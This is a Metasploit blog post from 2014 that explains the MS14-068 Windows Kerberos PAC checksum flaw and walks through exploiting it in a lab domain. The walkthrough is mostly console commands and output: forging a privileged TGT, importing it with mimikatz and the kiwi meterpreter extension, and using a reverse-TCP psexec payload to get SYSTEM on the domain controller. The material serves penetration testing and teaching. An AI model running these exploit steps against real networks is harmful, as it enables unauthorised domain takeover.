This post is the first in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2014.

Hello everyone and Happy HaXmas! In November of 2014, a really interesting vulnerability was published on Microsoft Windows Kerberos, maybe you have already heard about it... MS14-068. Microsoft published an blog post discussing some additional details. According to the blog post, the Kerberos code was failing to validate the PAC (Privilege Attribute Certificate) on TGS (Ticket Granting Service) requests. Microsoft credited to Tom Maddock and its team as vulnerability discoverer.

Shortly after the Microsoft Security Bulletin, some patch analysis was made public by beyondtrust. They noticed how the PAC signature verification was patched to avoid signatures using other schemas than MD5_HMAC. And early on December the first exploit become public, it was a Python Kerberos Exploitation Kit (pkek) written in Python by Sylvain Moinne. Following its release, more in-depth analysis about the vulnerability, its exploitation and defense arisen. I particularly liked the article from MWR.

Since there is a lot of information already available it will help me to keep the long history short :-). As it has been already explained in the above references the PAC is a data structure from Microsoft to support authentication on Windows environment through Kerberos based technology. It contains critical information for authorization, like the client groups membership. It is generated by the KDC, and the the client must provide it to the KDC when requesting service tickets with TGS requests. PAC signature should allow the KDC to detect tampering. Unfortunately it didn't happen before MS14-068.

This important piece of information (the PAC) isn't sent along with the TGT Ticket as Pre Authentication Data. But as enc-authorization-data in the KDC (TGS) request body. To encrypt this authorization data the session subkey is used, which is of course known by the client, and communicated to the KDC on another piece of information, the authenticator. This last one is encrypted with the session key, already shared between KDC and client. Maybe a draw will make it more clear (sorry for my drawing skills... no comments):

So far so good, with the explanation above, it should be more clear to the reader that their own PAC signature is an essential piece of information for the PAC validation on the KDC. Unfortunately, as has been already explained, non-secure checksum schemas were allowed before MS14-068, allowing to any domain user capable of getting a TGT ticket, to ask for service tickets with a tampered PAC in the request, without needing the krbtgt private key at all.

But all this information has been already explained (and more in depth!) as has been pointed before. In the meanwhile here at Metasploit we have been working to put ready a module for people to test and exploit this vulnerability. Unfortunately, as you can guess, some solid Kerberos support is needed in order to make it happen. Something which Framework was missing. Hopefully after this pull request not anymore! It's not full Kerberos support, but it's good enough to exploit MS14-068. So let's go to review how to use it from the framework. The next scenario assumes a pen testing happening with network access to the target domain, it means being able to resolve DNS names from the target domain.

First of all, a new Metasploit auxiliary module has been released. It emulates the pkek behavior, abusing the vulnerability to get a new TGT ticket, this time with a forged PAC, authorizing user membership on domain administration groups. The module should be run against the KDC (domain controller). It's usage is straightforward, the user just needs to pay attention to the options format -- note that every option is required in order to ensure successful exploitation:

msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf auxiliary(ms14_068_kerberos_checksum) > show options
 
 
Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):
 
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DOMAIN                     yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD                   yes       The Domain User password
   RHOST                      yes       The target address
   RPORT     88               yes       The target port
   Timeout   10               yes       The TCP timeout to establish connection and read data
   USER                       yes       The Domain User
   USER_SID                   yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
 
 
msf auxiliary(ms14_068_kerberos_checksum) > set DOMAIN DEMO.LOCAL
DOMAIN => DEMO.LOCAL
msf auxiliary(ms14_068_kerberos_checksum) > set PASSWORD juan
PASSWORD => juan
msf auxiliary(ms14_068_kerberos_checksum) > set USER juan
USER => juan
msf auxiliary(ms14_068_kerberos_checksum) > set USER_SID S-1-5-21-1755879683-3641577184-3486455962-1000
USER_SID => S-1-5-21-1755879683-3641577184-3486455962-1000
msf auxiliary(ms14_068_kerberos_checksum) > set RHOST WIN-F46QAN3U3UH.demo.local
RHOST => WIN-F46QAN3U3UH.demo.local
msf auxiliary(ms14_068_kerberos_checksum) > run
 
 
[*] Validating options...
[*] Using domain DEMO.LOCAL...
[*] WIN-F46QAN3U3UH.demo.local:88 - Sending AS-REQ...
[*] WIN-F46QAN3U3UH.demo.local:88 - Parsing AS-REP...
[*] WIN-F46QAN3U3UH.demo.local:88 - Sending TGS-REQ...
[+] WIN-F46QAN3U3UH.demo.local:88 - Valid TGS-Response, extracting credentials...
[+] WIN-F46QAN3U3UH.demo.local:88 - MIT Credential Cache saved on /Users/jvazquez/.msf4/loot/20141223201326_default_172.16.158.135_windows.kerber os_194320.bin
[*] Auxiliary module execution completed

The TGT ticket (with privileged PAC information) has been saved in 20141223201326_default_172.16.158.135_windows.kerberos_194320.bin. This file is saved on MIT Kerberos Credential Cache format. This format is really useful because can be imported with Mimikatz on windows clients, or on *NIX clients using MIT kerberos. Unfortunately, the kiwi extension for meterpreter doesn't allow to import this format still. OJ is already working on it! (seriously if you enjoy meterpreter you should say THANK YOU to him!). In the meanwhile, mimikatz can be used to convert the format (any mimikatz installation will do the work, no need to be a domain machine or nothing like that):

mimikatz # kerberos::clist "20141223201326_default_172.16.158.135_windows.kerber
os_194320.bin" /export
 
Principal : (01) : juan ; @ DEMO.LOCAL
Data 0
           Start/End/MaxRenew: 12/24/2014 3:13:21 AM ; 12/24/2014 1:13:06 PM ; 1
2/31/2014 3:13:06 AM
           Service Name (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL
           Target Name  (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL
           Client Name  (01) : juan ; @ DEMO.LOCAL
           Flags 00000000    :
           Session Key       : 0x00000017 - rc4_hmac_nt
             1cf7188debe40565eb668b5fa0bf94fb
           Ticket            : 0x00000000 - null              ; kvno = 2
[...]
           * Saved to file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi !
mimikatz #

Okey, the exported file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi now can be used to be loaded through the kiwi meterpreter extension. The first thing needed is a session on a domain machine, and then use the kiwi extension to import the TGT ticket:

msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit
[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.131
 
meterpreter > getuid
Server username: DEMO\juan
meterpreter > load kiwi
Loading extension kiwi...
 
 
  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */
 
success.
meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi
[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes
[+] Kerberos ticket applied successfully
meterpreter >

At this point, the windows current_user_psexec local exploit can be used to get SYSTEM sessions on the DOMAIN after this pull request by Meatballs. Remember that, in order to work, the machine running the msf console must be able to resolve names in the target domain:

msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit
 
[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.131
 
meterpreter > getuid
Server username: DEMO\juan
meterpreter > load kiwi
Loading extension kiwi...
 
 
  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */
 
 
success.
meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi
[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes
[+] Kerberos ticket applied successfully
meterpreter >
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > sessions
 
Active sessions
===============
  Id  Type                   Information            Connection
  --  ----                   -----------            ----------
  1   meterpreter x86/win32  DEMO\juan @ EXPLOITER  172.16.158.1:4444 -> 172.16.158.131.131)
 
msf exploit(handler) > use exploit/windows/local/current_user_psexec
msf exploit(current_user_psexec) > set TECHNIQUE PSH
TECHNIQUE => PSH
msf exploit(current_user_psexec) > set RHOSTS WIN-F46QAN3U3UH.demo.local
RHOSTS => WIN-F46QAN3U3UH.demo.local
msf exploit(current_user_psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(current_user_psexec) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(current_user_psexec) > set SESSION 1
SESSION => 1
msf exploit(current_user_psexec) > exploit
 
[*] Started reverse handler on 172.16.158.1:4444
[*] WIN-F46QAN3U3UH.demo.local Creating service 51cq2zJN6p
[*] WIN-F46QAN3U3UH.demo.local Starting the service
[*] Sending stage (770048 bytes) to 172.16.158.135
[*] WIN-F46QAN3U3UH.demo.local Deleting the service
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
 

And that's all for today! Hope all you enjoyed this HaXmas!

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.